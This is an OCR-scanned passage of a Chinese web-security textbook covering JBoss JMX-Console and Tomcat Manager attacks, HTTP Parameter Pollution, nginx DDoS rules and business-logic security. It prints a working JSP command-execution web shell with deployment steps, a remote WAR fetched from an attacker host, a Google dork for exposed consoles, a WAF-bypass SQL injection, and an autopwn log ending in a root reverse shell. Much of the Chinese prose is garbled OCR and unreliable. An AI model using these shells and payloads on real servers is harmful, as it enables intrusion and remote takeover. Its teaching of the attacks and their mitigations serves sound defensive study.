reset timedout connection on;

listen =xx.xx.xx.xx:80 default rcvbuf=8192 sndbuf=16384 backlog=32000
accept filter=httpready;

FLIK, A Nginx U E Akl DU 2815 B 2RI, B s /i User-Agent HATH A %5
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fit, B R AEANRRE referer TP S50, W AI/ER] DUEIR P RS, BT HE ).

set $add 1;
location /index.php {
limit except GET POST ({
deny all;
}

set $ban "";

if (Shttp referer = "" ) {set $ban S$ban$add;}
if (Srequest method = POST ) {set $ban $ban$add;}
if (Squery string = "action=login" ) {set $ban $ban$add;}

if ($ban = 111 ) {
access_log /var/log/[133]nginx/ban IP;
return 404;

}
proxy pass http://127.0.0.1:8000; #here is a patch

}
LEREATS T M ) 2, Web Server XJ T DDOS Biti B AHIAE HI 2 A BRI o X T AUBL 4 44
25 ookt BEAH SR ML R PR 37 T 5

15.3 jBoss IZIEZaaS T

jBoss #& J2EE Mg —ANAAT ) Web 754%, {H2 jBoss 7EERIN 2 e HE AL (1) — LE D REEIA
K4, WREEAR Y, W] GE T HaE O fe dr 24T .

HiT jBoss {EERIN eI &3 —ANME S &, MU IMX-Console, ‘& H# b4 5 9 57— Ly
KiThfE, A UHREECE MBeans, XM REAHT I EZ 1T, L 8080 i1 CGERIA
ARG 2 T 8080 ¥ 1) i) /jmx-console AEMLIEN FIIX /N HE A . BRI BT U ]
JMX-Console Z&HF ETANIER -

@ hitp://viclim:B080/jmx-console/ @ Gl Google

¥1QQ5% IMX Agent View
%

Objecttlame Filter (e.g, "jbass:*", " :service=rwoker, ") -

ApplyFilter |

Catalina

* type=Server
* type=StringCache

JMImplementation

.
* fype=MBoanRagistry
* ype=MBeanServerDalagate

jboss

JMX-Console i

7 JMX-Console ', 1% P nJ DA F2 AT dr & 10 vk fefai ooy o, 2
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DeploymentScanner ZFEINE—4 war £,

BRINH) DeploymentScanner K54 #r URL 2152 file:/[JBOSSHOME]/server/default/deploy/,
A3 addURL() J7i&HEIAT LU NN RE K war 003X AN R RS F

EOLOIEE AR war 4, BR T RTRATHY shell 4b, &7 24 AN meta data.

$ echo 'The JSP to execute the commands'

$ cat >cmd.jsp

<%Q@ page import="java.util.*,java.io.*"$>
<%

%>

<HTML><BODY>

Commands with JSP

<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter ("cmd") != null) ({
out.println ("Command: " + request.getParameter ("cmd") + "<BR>");
Process p = Runtime.getRuntime () .exec (request.getParameter ("cmd")) ;

OutputStream os = p.getOutputStream() ;
InputStream in = p.getInputStream() ;

DataInputStream dis = new DatalnputStream(in) ;
String disr = dis.readLine();
while ( disr != null ) {

out.println(disr);
disr = dis.readLine();

}

%>

</pre>

</BODY></HTML>

$ echo 'The web.xml file in the WEB-INF directory configures the web application'

$ mkdir WEB-INF

$ cat >WEB-INF/web.xml

<?xml version="1.0" 2>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemalocation="http://java.sun.com/xml/ns/j2ee

http://java.sun.com/xml/ns/j2ee/web-app 2 4.xsd"
version="2.4">

<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>

</web-app>

$ echo 'Now put it into the WAR file'

$ jar cvf cmd.war WEB-INF cmd.]jsp

$ echo 'Copy it on a web server where the Jboss server can get it'

$ cp cmd.war /var/www/localhost/htdocs/

SRJE1# ] DeploymentScanner, 17 1] http://[host]:8080/jmx-console/HtmlAdaptor?action=inspect
MBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL.
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@ http://victim:8080/jmx-console/
® sar=console-mgr.sar

jboss.deployer
® service=BSHDeployer
jboss.deployment
# flavor=URL type=DeploymentScanner
jboss.ejb
# persistencePolicy=database service=EJBTimerService

# retryPolicy=fixedDelay service=EJBTimerService

# service=sEJBDeployer
* service=EJBTimerService

¥R addURL().

e © htto://victim:8080/jm:x-console/HtmlAdaptor?act

MBean Qoz-atan

m ParamType

‘DI java.lang. String]

Ciwoe])

ParamValue

i ttp:hacker/cmd. war )

Para mDescrlpI:mn

(no description)

WRBATHE), WPEIR A sucesess 5 &

JMX MBean Operation Result addurL ()

Back to Agent View  Backto MBean View  Reinvoke MBean Operation

Operatiof completed suooessfullavltm & refum valus,

24 DeploymentScanner |~ IXHATI, N HAPEATZ L), XA BH 28t . £
SrEPiE, B ) webshell #7418 ) o
}r )22 *@ http://victim:8080/cmd/cmd jsp?cmd=id
Commands with JSP
send
Comnand: id

uid=1003{jZee) gid=1003(]jZee) groups=913(_ssh_login},1003(]2ee)
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k% T 14 H DelpymentScanner T2 3 war 1041, #8[E 1) Redteam %4/ NABFFT R I, i
JMX-Console $2fi£f] BSH (Bean Shell) Deployment 757, [FIFEt{EATE war {1. BSH fEBE
AT MR A, B BRI SS, 0 TR R SR AT H

) JBoss JMX Management Console - Mozilla Firefox
File Edit View History Bookmarks Tools Help

@- c o} , http:/{192.168.1.2:8080/jmx-console/

_ JBoss JMX Management Console

jboss.console

® sarsconsole-mgr.sar

jboss.deployer

® service=sBSHDeployer

jboss.deployment

* flavor=URL.type=DeploymentScanner

PATI AR B IE, FIH createScriptDeployment() $047 4, W &7E/mp Hx FE5A
— war f1)5, 50T IMX-Console [F145 & ThREMNZ I war £,

[©) MBean Inspector - Mozilla Firefox

File Edit \iew Higtory Bookmarks Tools Help
@ 4 c L dmr . hibp:yl192.168.1.2:8080fm:-consnlefHimlAdaptorFaction=inspectMBe anéname=jhoss . deplover s 3Asery §

B Most visited P Getting Started & | Latest H

< MBean Inspector

void start()

MBean Qperation.

ParamType ParamValue ParamDescription

pi org.jbhoss.deployment.DeploymentInfo (no description)

Invoke

java.net.URL createScriptDeployment{)

MBean Operation.

ParamType Param¥alue |ParamDescription
|p1 java.lang.String \ H(no description)
|p2 java.lang.String ‘(no description)

Invake

RAPATREREAE A IR o
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JMX-Console & F% KIF 2], @ FH “Google hacking”, W LATE LM |4k F
IRZFFILT IMX-Console ¥ /35, Horh K2 HUE A AE TR o

) allinurl:/jm=-console MBran - Google Search - Mozilla Firefox
Cfe [t Wiew Higory Dockmarks  Tools el

& - <o =< a (A e sazrimy-conzole raan epman
23 allinurk/ fmn-console Mbesn - Go... £ |
Web lmages ¥ideos baps Mows Shopping hdail more w

GOL 13 le |atinun g consele MBean | [ searcn | mswances seasn

Search: & the webh ©F pages from the UK

BB Show i Results 1- 10 of aboul 8,470 for allinurl: jmx.console MBean

sment A B oss] - Cannot view my MEBean in JMH-console
HABoEs] - Cannot view my MBean in JMM-console. Jkashyap 25 February
v | am ragistaring a new MEsan dynamically with the MSsan -
5-526-management-j w-mbe

hed

ME=an Inspectar

MBean Nume Domain Mame: jboss.r

. local. Ser | gr.sar.
(R L R P P,

pectMBean. .

JPEESenver®%3Dloc., - Cached

ME@an Inspactor
IMBlean Mame: Domain Mame: jboss. q local i jule: ojb-deployer.kml.
narme jboss, sjb % BT - Local v
portugal strabon ol consoled tmisdantor. ll\-pm_lMI.ie-'hn .

%2 C2esType3IDMBe an3%2Cna S0jbo

MEean Inspeaciarn
MBaan Marma: Domain Mare: jboss. m
name: Jbu“,ca%:3“emce%achnnecuunFaom !'Deplu)er
192 73 224 19 jmx consola/MHtmlAdaptor?. inspactMB

2ml%2CizeeType%I0MBe A et sme63Djboss. . - Cachod

b wrnl.

MEBean Inspector
MBaan Mama: Domain Marme: jboss, manag local, £ : 1 s

WL “Google hacking” R AFLE jBoss B L5 £ 111 MY i

DRI T 22 A B AR 1 H ), AE N, 75 E R IMX-Console Ji 4, F52 L, jBoss [l
SEART LA T . EF5BR IMX-Console, H FF LR jmx-console.war FI web-console.war H[!
], e B4 T $IBOSS HOME/server/all/deploy F1$JBOSS_HOME/server/default/deploy H %

o AR A MR -

cd $JBOSS_HOME
bin/shutdown.sh

mv ./server/all/deploy/jmx-console.war jmx-console-all.bak

mv ./server/default/deploy/jmx-console.war jmx-console.war-default-bak

mv ./server/all/deploy/management/console-mgr.sar/web-console.warweb-console-all.bak
mv ./server/default/deploy/management/console-mgr.sar/web-console.war
web-console-default.bak

bin/run.sh

MR TS HEAE A H IMX-Console, W N AZAF FH — At (505, JF Bis4T
IMX-Console ¥ AN W 1Z [ [ 24> Internet JT Ao

15.4 Tomcat ITIZPS T

Apache Tomcat 5 jBoss —#f, ERINESIZITHE 8080 Uiy I 1. B4 Tomcat Manager [¥1F
F5 JIMX-Console Z5fBL, 5 # 53 t1 1] LAYE Tomcat Manager H# war £3..

3 http://wiki.jboss.org/wiki/Wiki.jsp?page=SecureTheJmxConsole
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Bl Gt M Higory fooknubs Jooh e

o

(] Apache Tomcat;5.5.20 a

- M W [ meiise ea zaceny it BR

Apaghe Tomeatis.5.28

@ wpache Software Foundz
/HK s http://www.apache.or
£

Status

Tarmcat Adrinistration
[Lomcat Manager SCATALINA_HOME/webapps/ROOT/ index.jsp

[Administration If you're eeeing thiz page via a web browser, it means you've setup Tomncat successfully. Congratulations!?

A o iy have guessad Ky now, 1S 13 Me defaul Tamcat home page. Itcan ba found on e local ilesystiem &t

wigra "SCATALINA_HOWE" is e rool of the Tomcat instalaton directory. INyou'e seeing this page, and you den't think you should e, then aither wou're aither & wser wha |
amivel at naw instalation of Tomecad, or wou'te an dmin sbrator whio hasn't got veMer selup quite nght Providing e kzmeris he case, pedsa rafer 10 e Tomcat Documant

Documentation rmore detalled setup and administration infomnation than is found in the INSTALL file

Ralease MHotes . . . .

(Chenge Log HOTE: This page is precornpiled, If you change it this page wall not change since itwas corrpaled inte & serdet at build tirme, (See $¢ATAL I0A_HONES sebapps/ ROOT/ UES-

Tomeat Documeriaion INF/web el 85 10 DOWE L was mapped.)
HOTE: For security reasons, using the fion webapp is leted to users with role "admin®, The manager webapp ie restricted te users with role
“rmanager’, Usars are daf ned in $CATAL INA_HONES sont/ cansoar—users, xml.

Tomcat Online

Horna Pa Includzd with this release are a host of samiple Serdets and JSP's [with associsted source code], extensive documsntation (including the Serdat 2.4 and JEP 2.0 AP Javal

%’E and an introductory guide to devaloping wab appications

B L Tormcat mailing Fets are available at the Tomcat project wets site;

Open Bugs

Users Mailing List » usersfitomeat.apache.org for general quastions relatsd Lo configuring and using Tameat

_M_g%*ﬁh ers hiailing List » devi@tomcat.apache.org for developers working on Tomeat

Thaniks for using Tomeat!

Tomcat Manager St [i

{RAE AP /2, Tomcat Manager A7 2 war 475 245 manager BUFR, 171X — B R AR E
SR S — N ORGSR

[root@nitrogen confl# cat tomcat-users.xml

<?xml version='1l.0' encoding='utf-8'?>

<tomcat-users>

<role rolename="tomcat"/>

<role rolename="rolel"/>

<user username="tomcat" password="tomcat"

roles="tomcat"/>

<user username="both" password="tomcat"

roles="tomcat, rolel"/>

<user username="rolel" password="tomcat"

roles="rolel"/>

</tomcat-users>

[root@nitrogen conf]#

T 2 P DB Ul S, SCH manager fi

<user username="manager" password="!@m4ndg3r!@#! " roles="manager"/>

B, BTRHXAACE, AL e T.

[root@nitrogen confl# cat tomcat-users.xml

<?xml

version='1.0"' encoding='utf-8"'?>

<tomcat-users>

<role
<role
<role
<user
<user

<user

rolename="tomcat"/>

rolename="rolel"/>

rolename="manager" />

username="tomcat" password="tomcat" roles="tomcat,manager"/>
username="both" password="tomcat" roles="tomcat,rolel"/>
username="rolel" password="tomcat" roles="rolel"/>
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</tomcat-users>
[root@nitrogen confl#

Y FLHKS tomeat VR manager #1 (2, 1T tomeat JF /(R F T A2 M BRI D,
XPPECE Y T “ A/ MR

{£ Tomcat J5 & A LLEH 3 _EA% war U

.. " Apache

Software Foundation

ffwww.apache.org/

Tomcat Web Application Manager

Message: |OK
List Applications HTML Manager Help
Path Display HName Running
i WYEICOME 10 Tormcat 1riia
‘balancar Tomeat Simple Load Balancer Example App true
fhost-manager Tomcat Manager Application true
fzp-gxamples JSP 2.0 Examplas trua
Jrmanagar Tomeal Manager Application irue
| Sendet 2.4 Examples trus
fomeat-docs Tamcat Docurnentation trug
fwebday Webiday Content Managamment trug

Daplay diractory or WAR fila locatad on sarver

Cortext Path {optional): ‘
¥ML Configuration fle URL: |
WAR or Directory URL: ‘

'WAR file to deploy

Select WAR file to upload |

Tomcat & F 5 & A% war {4t
AR AT DOl i A B s — V)

[root@attacker jboss-autopwn-new]# ./tomcat-autopwn-nix 192.168.1.2 8080
2>/dev/null

[x] Web shell enabled!!: http://192.168.1.2:8080/browser/browser.jsp

[x] Running as user...:

uid=0 (root) gid=0 (root)

groups=0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)

[x] Server uname...:

Linux nitrogen 2.6.29.6-213.fcll1.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009
x86 64 x86 64 x86 64 GNU/Linux

[!] Would you like to upload a reverse or a bind shell? reverse

[!] On which port would you like to accept the reverse shell on? 80

[x] Uploading reverse shell payload..

[x] Verifying if upload was successful...

-rwxrwxrwx 1 root root 154 2010-03-28 19:49 /tmp/payload

Connection from 192.168.1.2 port 80 [tcp/http] accepted
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[x] You should have a reverse shell on localhost:80..
[root@nitrogen jboss-autopwn-newl# fg 1
nc -1v 80
id
uid=0 (root) gid=0 (root)
groups=0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
~C
[root@attacker jboss-autopwn-new]#
H AR Tomcat 7 & B INUE, HEZJIRBAEBUMRIX —J5 &, P4 SeE#w] LU
i B R A 7 AR BUS & UG AR, e MR, X T R Bk, 15

Ko

15.5 HTTP Parameter Pollution

7F 2009 4Eff) OWASP k4> I+, Luca. Carettoni 25 A\J# 7~ T X Pk HPP . fj 5
Kt, il GET 5% POST [ R45#s A iE RIS, #EASHAMMFESE, BamESas2tn
fA[ 3L $E e ?

ELn3Ae .

/?a=test&a=testl

ERL R S u A B b, & HBGE— NS4 ME S b 2385, el net SABE, W4
AR
a=test, testl

IR AR Ge it — e R 55 as v 2 A A W, SRR A .

IXFh HPP Wiy, 5 Web HR&s#sIA85 . IRSS 28 um A FH A BIAE 54 9¢. HPP A5 T LB
AR 45 s it KA — PP TN RE, S EEE R PNT S IR 45 2 i 4K AF BT sE 1 o (ER IE Q3R AT TAEA T3
TSR 260 1 —FF, MFRF AKX I RERS, St nTReIE R, s fe v
AT VO A AT, NI R o

Ebln e LLE G HPP VRIS, MINi%Eid ModSecurity XF - SQL 5 A R4 .

/index.aspx?page=select 1.2,3 from table where id=1 @

TS ]
/index.aspx?page=select 1 &page=2.3 from table where id=1 @G)

HPP [, RN T KRS S AR AL G Ja, B IR, 3%,
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‘Technalogy /HTTP back-end overall Parsing Result Example

ASP.NET/IIS all occurrences of the specific parameter parl=vall,valz

ASP/IIS all occurrences of the specific parameter parl=vall,val2
PHP/2pache Last occurrence parl=valz
PHR/Zeus Last occurrence parl=valz2
JSP,Servlet/spache Tomcat First occurrence pari=vall
J5P,Servlet/Cracle application Server 10g First occurrence parl=vall
ISP, Servietdetty First ococurrence parl=vall
IBM Lotus Domino Last occurrence pari=val2
IBM HTTP Server First occurrence parl=vall
mod_perl libapreqz/spache First occurrence parl=vall
Perl CGI/Apache First occurrence pari=vall

mod_perl lib?7?/Apache BeComes an array ARRAY(028b9059C)

mod_wsgi {Python)/apache First occurrence parl=vall

Python/Zope Becomes an array ['wall', 'wval2']
IceWwarp Last occurrence parl=val2

ARXIS 2400 all occurrences of the specific parameter parl=vall,valz2
Linksys Wireless-G PTZ Internet Camera Last occurrence pari=val2
Ricoh aficio 1022 Printer First occurrence parl=vall
webcamxP PRO First occurrence parl=vall

DBMan all occurrences of the specific parameter parl=vall~~val2

HPP iX— [ B F IR ERIRATT, Wl 247 RIS Web HARGT A4, 44
BTEHMGE. WBELXRE, BT HPP BRSSPI —MIhaEe, Bl RS E B AR R
R TR B A PR B (1 S AU B A
15.6 /NG

LEART ] T Web Server. Web 2 284H 11224 0] /. Web Server. Web 22572 Web M
FHEAA, IR, e Ze 518 HiEsgm 2N 24t

FEFE IR IR 5 A v PS5 28 S /MU S U, 3212 EUSHOT. FRAIRAR R 5 4731847 Web 272 .
[T Web Server fI—LESH e AL MERE, AT B T-2¢% DDOS Xy, {ESERriz I nf LA
.

Web Server &4 (IR BN ZI260:, 5L Web 2532 (BRI & £ % 1] 562 ey
GIRT, R IR 2 A TR T 2% B S ]






s 16
BN SBLZ=E

ASAS AR 2 FEATEGEAE RIS Web SOl BOR (1 B ARD5 58 o BT FLIBEIR 28 ] oK
AT R SE M V2 W] A2 10, SR ME LA SZ (1 R AR SR R 21 23 w) S e 1R 2 A )i

WML 55 2 A )i, 32 F E AT TR AR AT, Bodi (2 BRI 2 7] (MR 55« k55 %
A A AE LR, A A R R ), F g R E .

16.1 FFREEHLAENZE

AN N A AR E? IRZ AR A B S, ki iikle -Gl
Bl Mo AL T D5 i Dhe At &kt ErFRCE W SRRSO | R
s RS IR, DURATRS . TR SRS, PR LL S HOIU LAt zedl, mid
BRI AR, DA 5 A DR ()i

AN GERER A VR REE, LR SR o IR i LS Rl B A R AR SR IR S5
PR ERAETERE . SO TP ENESED I, RN AR 2 A

ORI, AR M

LA G RUEP SN ALURE T . —DNEFI i AR, VST R T A
FEg A b, ATBEATHER R e R A ™ iR, AEAE Bt ok 755 5 2 42 18] 1)
%EO

HSE %8 5 2 A 2 MASKAE A I, P AT AE R R 2 4 7 RN 56 36
Pl e 45 S SEBLRAAR R B vy, T AN ANAE — 287 S D e B oK, A7 IR ek iy wr
REIATPERE -

WA LA S R LI A AT T, AR T R IR A, XA
M A R IS E G P 23 30 2 -

(1) ThREE AT BEAL J5UE Bevl S8
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(2) TERE

(3) Ar ks

(4) A Reds e v 14
(5) ardedtE;

(6) %4,

ATLVE R, 2RI RETIAE T4 6 L8 B, Wi EERGE, X2 m LLBEAR ) .

16.1.1 EHEMN~mITLZEHER

AR IR S I AR S, FER R RE NI, A i,
ﬁﬁﬁﬂK%TﬁE%BEZé%Yz‘EETT%T (S AN AR T T AR AR AP IR, 24 AT
FRESS N K PO SE 4 Sy, O BT il 5 SE 40 T2 IR Z2 i (KA s . AT 2248
AL K™ s A RERCA AR ILF 7™ i o

AVFZIXFEE] 1 ARG, 52— HARFEEL. Yahoo M RIIEME L, &
K Yahoo H CHKHHE KN Google TE4H R Ji 1 MR T Yahooo X462y, #kEH HEM
WRER LM, Google 5 Stopbadware I T & 1E, Stopbadware $2{Ht—173 52 B T 57 1) 5%
E M HR L Google, P AdE THED MG Rytapiul, IVEM LGS 1 Google NIARHHIX A7
NS Z 5 | 45 b AR AT I %, B2 2SR . Google (1224 A AR 7T
BHEFOAEA, T 48 2 4 R A g AT IR

HRAGRE G LA, SRR UGEIRTEEN, PO R 2 T e AT

TR 2R N SR VE S AR rh, Rt R AR IR R A R, SEURZ I E2452 0.
Pyfa s, BRVER I A L8RS (SEO) R, SKkikm A S AE R4 R i HE
A, — B RGIENCE, wtr] U A ROAE R, IEE 2N

T4 RSt AN, e R A A PR AR T BB A ) W il 2 J s BLe8C T
(U DUTHT o FARAE P GO AR BESGE AR, P P 0] et 25 4 s ] A ok Do i ) P )

e A B AN ER IR, AR ISR R, XA G B RERHH . R
RS BETCIE LI MR N R 45 R b M e 15 24, IRAB &2 T TRz, K5
BRIV FPE T E BT AR TR, B R R T,

MR AR T8, LU BT W R ik B LR PSR BORE S A

R e ) GO 7 224, R AFARH R BRI PRk it . F AR R 53R e 2 B Ll
Mz as] TRAT A, HEERR AR R E M.
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gﬁ«%%‘?é}&\ﬂ Barracuda Labs 5 #7 % & 69 — At 302, M52 R P RILEZ Wb
R BGOSR, BEAL) ZAFLNF EFFR L FLFELAT A BDRERR,
TOhBRALST, HELF ., LBR Twitter L NRATH R LFABATIE, A d
WA &5 g s R BB E RS ER D, HANRLE R4 T

O HAFEZELINT 34627 A ZHE;

O 4 1000 M & 4R PHAH — A5 0 B EM 3k

QO HSAHEIMFHA-NFOTEREL,

B THERGIEESN, W ISR SR A S B T e E R AR T IRAT IR,
11 7 o N b @ v B

HAHLAE 2006 45, AT A RN, M b E P O A A s ) 19.94 HH K
WA, i s S PR AR A 40 [ Rty Sk K2 63.8 AZTTifai 2. 1% 2008 4, XAMET BARE
28 52 JUMEEUZIK 2] T — AT B . SRR TR, AXAE 2007 4E, BSR e b EE
JIA T DR R I 3] 200 127G,  TIEEH G B T2 ik T Ab BB A, op A4
FH PSR R A 2 36 4Bl T AR H]

LIRS “ RSB mBPE” P — e A 545 8, BUEE 2 At AR VE R AE . P4
i AR VEG I AT L WA, G ] R X Y 5522 4 i) L, 2 AR AT PR LA .

U RITAE S B S AU, 25K LRI 2 ] #8207 bt o AE P ATl iR b el
BURIBIRIBIEZ D, R REIMT A TLIBC R 24 W 48 2 429 BRI

ez, ATRUREL, AERIRM, —ASEE L R A7 A 2 VT TR 3E 4
IM. 4. SNS. i&dx. P2P. J AR, HECAATE, i gaid, hiiafit
BT o WML A ETESr, o mT LU e ik Y — AN 40UsAE A Bt o

LA VERAR L 07 i, T PSRBT Re A A AR S, BUOVIR RIfEEE
LRI T 5 MG WERP SR B, W€ i B Bl Szl Y1
Mg, XY 55 224 (1 1] AL M AREPRE IR P P A, AT IR 2 e Bl AN M (R 4

LA R AN RS, R TRk, R R SR Ry T, T i
LA REFIE A

16.1.2 (TARFHEREFTSH=

R it BAT AREIR 2 AWE? 7 iR R A N, AR TR AR 2 168, X% X
TR ?

EHE N, —MUFHLTi5, B T AT AT RO R G LLAh, IR AR 5 S A6 F
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(1) REFRIH A5

(2) FAHITERE.

KRG AR ot 22 405 ST K R KB o

BBE AT — 2T %, RIS Web B AN, Jf 4 T-1e?

XFFINIE, BATAVFZESE . BOEARI ML A P 2 AR AE, 1 SeRUk R ZEnT
RESIEFEM A Z (Tow Factors) AIUE. IR EARATIRELM “U B, “ZhARSR7, “R7,

R CTHUEE RS LSS, R TN FNAIE, EAEH A4 S s A
T OAIE.

SR, XU ZR AR AT B2 FRAR T 7 R, DR ™ A PGSR SR RR AT 1o Lt P
KN, #ET R A TS, KA R B B 1 45 A bl A AE. X
K, IR IR

AT HI 0 B 22 MR ZAIE T 5, AR 2 sl D A AR A 1) . B, FHLEAS A —
A PR EL AT E SN SRR TR “U 7“7 HIHESAS LB
ANKIRET BG4 2B AFEIIAE S B0 Sl P U T AR AN TR A AN AR R e i A
A, LR (Y SR AR 5 (K4

HRT R AT 58, S 10 I T IR, B2k 78000 F P 1A, s ANt —AS ]
JrARER R I, BT A DR R ZOAIE DT 5o — ok, RAT S 20RAE
RIS, BE R G S A LRIy A DU ZAIE T

LUE SV VPR SN TTT: =2  A E VRN R &7/ R e SR ot SRR DA (W A
WEAFE AL ? LEUn R 002 16 67, H AR P8 R RIARA S .

HREHZEG?

BEE SIS — MORPRE RIS . A LARIRER AL, W REH W S il — MR I
WD MARHWE T B SWIEAMEREW G, RS “CICAMERES” C XA 4
AT b, R RN R at b, 3 S 3 B0 At R K n] Be R T

HSR B R E ML, RO EE S PIELE IS . S O8RS IR M,
WL RIS A REANE, BB R R P AL A H A BT “R
WA RORIE” XA AR, HA LS AT B -

(1) Ber X % T BB
2) Py P s AE .
XFE, B ATy BT 7L,
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BEAR AT LU 65 S5 10 I H RS0 22 1 B 1) oo o 2 — N A — BUIR ) AT PR 58 o SR B
B BRI A TP Mk A B A] A RS AT A IR, X EA T #82 EUASE I S [ 28 3 0
FFAFAL . B MR AE B T IAEE S 8, IS ALER I B MSAT N In 10k 0 & ) i
[B]— NIRRT DAY A 22 i 2% ) AR Bt

WP R S A NAEEE? AR, TSR SR B A N SR, Wk
KRBT AR Tt 4 WsfEhl. A H S RS AN NG B s, WYY
LR THR R o

PR TIX AN L, ek T s R T BE A AR I B . TR B R TR,
XTI A EEYI, WATIRANE, WEATEEE I A 2B KRN %, g e
FAFH R SA RS 2R Sl o BEE P AR AN NG BAE s sk e, XD o
RS, AR IR O AL W R R ) 2 A SR

(R B AR B BEEE A X ET7 MR 5 YR T I R B A “ BRI asf ™ A “
PSR WERIMBL TR &SI R, A T RELEHI T A Tz .

DIEAE B vt 2 4T 200, NAZIERERA F i 48, ki i s . 5« Bt 22 4ttt
FM” —w, N TRV EA RS, I U T R e IR et
—ANHIERFH L AT 5, L TR TR EER,

AT KRR, WURBRATTHFE S RE S LR SR A T 2 &SI, R
RZERATA LT, MARKFR LR REER RZE.

16.2 BB EEE

16.2.1 KIZHEAIERIZRS
2007 &, EHER T —EEH Y.

A P A R P R AN Y, B I ok A . BRI A, )
MBS T B Az, JRER TSRS HIZIFRA A e, Bulig iakae
i 35 SRR K

KN P AR R AN A F ) IM CRIIRSE TR P R AR TE A, H M BRAIRIN R
BEA— MR . TRt T — MEME IS RIREFIZ I IMIKP G, Bahd
SRR Gk, AU ISR B e B RaE R, CHEE M, Witk

JrKREFH BRI W N I, P AR IM AR R T IMAARER AR, —
LRGP, B M HCW. XWEIRSTA XN “98E” KFR.

RO WSS BRSPS OIM KT R R (EREIXAN GBI, R e
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SR, PR FAESOS N IM K, T B T IR — AN E TR A R
IR S AT S, B SO RERE A I T B IMUK P s (DDA Z IR 48 1)

Xt — AN I D 458 e 2 A ) f . NV A58 H ) UV 25 (R O R AR %, ek, 1B
ML EEIHIR

b 55 18R i RS — P BE VR, B T AR T LA R A B o AR B ok o
{END 25 324 ) A AT — AR AR R, AR IR, HBEHKEE 2 4 TREIM AN N 2056 K o

T I i 5,

HATHAE A 2B

16.2.2 ERKX@IK

1F 2007 417 Blackhat K< |, K H Whitehat /A 7] [f) Jeremiah Grossman %[ i T —#x T
P25 @ R A R, e R T LAMR A = &1

FEFRAELLIAYI A i g 1R U B TR L L IS 1] A U o R 5 K, iR B ik
Jr AN o BN S, SR T NEZSEMTIRE, TR A R AL A,
KL AG A E R AR . AEASEIN AR LE S, R R A T A

R AEEAT AR 2 VRO SRR T, WREES MG, EMu Egkaz i
YEH TN SE SIS, SR N A SE S, 2O BRGNS K Y E SRR
WORBOEE] S RIS, ZIK i REBE T .

TR RG24 RE A RERN, T R RIIK - w8ie o, M 1 hlH
NER . 1XAE, A DA RS, SR BT AR SE 3 4 i .

Grossman %5 H B iR DU AE B S A IR FTIN, SERIn— B A S UERY, DLRE o i 2
A I B B8 ks R ALE Y 3 i B B AN P I 1D, R nick.

FERXAN R, HSTRAFAE R AN— BRI i P an SOk P 0 1D BoRAEM ug b, 9B
LA T RERY SR AP, SR ] DLS i — Pos s By, ] — AN AR A5 Hh 22308 Sk BT 1 1D

XEE, IEWIH PSRG0T . W RKZEH P E8 ek IR G S W, A Wik
W55 22 B RIS . X PP BCRE X S 224 = SR P “rTFIPE”. 1R 2 WU 7E % vt-x)
BUE IR 7 S, Al “Bie Ik ISRNE, LSS AR FE I AR B

AAT g R IX A o) UG 2 X A5 0] 3 28 Tk g (K % i ok . £E Jeremiah Grossman $2 H 1 fif v

TGN, SER| TR RS, SNSRI T 5. FRATERIE, BAERSIF AR — R
R ARYS:, T AN 2 R AN P 2 — s Il 84 I 6 LR RS

EOG, R B B AR AT .
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BRI A RVREE, BERPEANIK AR 5 0Bl B SRETIRIE R 10 K. 84T Fh
B WA I T RS 55 Rk D P A48, B SR AT TS “1234567, S AN A )
M 4. R R S 0 T LMY ID 211 .

EIEIR ML, B DB 5 2R K, BT L “ IR ) 7y Rl AT Rk PR
Wi PR T et 2 RN, AT 2 A TP MUl AT B ok il 148 1P Mtk
AR RS 28, ARG AR AL .

B S, BIEREATH T 24 1P ik, ARZFEBGRIAS]) R, I8t Al
PR TP k. B 28 IR & it A2 H> TP Huhik ] g it 22 O %315 3K

FEBEVEXHURITT SN, O T A S I DL A, AN N AZ P BUE IR, T B
BUE R AR — 1P ML K . JF B g 2 — 1P i AF A AT A i, ) TP Huhk g g sid
SKIBINAR YT o XA S BELAG IE R HL (U5 1), i AR AT T5b

BSLPIRFER ) —E RGN B Iy, [F A IR EE I BN = R0 (H S SRR AT 2B R .
16.2.3 EHXRIEE

NTHIEFE Jeremiah Grossman 25 H [ 7 — & L2491,

FEALININ, JEHRLE MRS T Web 2.0 46, TFA T —ANETAODIRE: SEVFRAIFE M 2
PIRAUE R, M5 R AR AT ) RSt o A T BB R AR R, POAT R Bt gl
NTH A A&

HZRXE RGAE BT IR SR VF A IR B3 AT g AR AR NIE R Rl
JRER, WERBIT B T, A EUGHT R, e E AL B DR MRS 4
TRAANDNFALX G HERT, A5 BB I AL R A R

| g ===

n 1 T3 Businsss
.

y \ [ carowns  haxOr3d Computer Services Inc.
D / \ ' 9. Will open at 12pm
Check Website for details

Muws N 4.
15!,4 "/ TIoiThgY & Dolbys” Business
eies 1337 5p34K Lingulstic Services
Office Closed Friday
Uit ToleCommute

LB IR B R A 2Lk

PR AAS KA BRIGABAR TR, A RO ATIAN T, Hk e R Ze s i 2
NI
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16.2.4 <FEAAEEIFRE

R Wk i 4R AL “BUcEsD” Thfert, BAEAE DR A P 8 o f i
AN EEPRE A

KR rh, SEUK RS, AR AT LA ST REAE UK R i . U B 1 R
IR Z Fl, Eln Cookie BIRFSEURIK S #eds, MRZGEAFHEM S # K. PIRAE Se i
AW 2 FTE RS, R .

IERRIHERE, FEREAT BUBER AT Z B FHOCGAIE T I 240

L.
T TEHLEE-1 4 » THR AT
LA TR
R |

I b PR 5P 2
bR T “EBCEN” ThEESh, AR MR E AR IRA D) I BLE A ) T .

WP s 2005, A REFHE I S A A VAR Bl MH, WERAH SRR, 1
SR E B S, A=A TR HERVAER ™ — 2R BOE il i, b “ i
EHARAT AR, B EIRBVGIOR 7 SR R E I RN K S A, R LU I A 1 2
W RN SOETHUEER R, XFHEA i TIUE .

P A S kil 7R s, IBAIX R e M BR 2 @ i L.
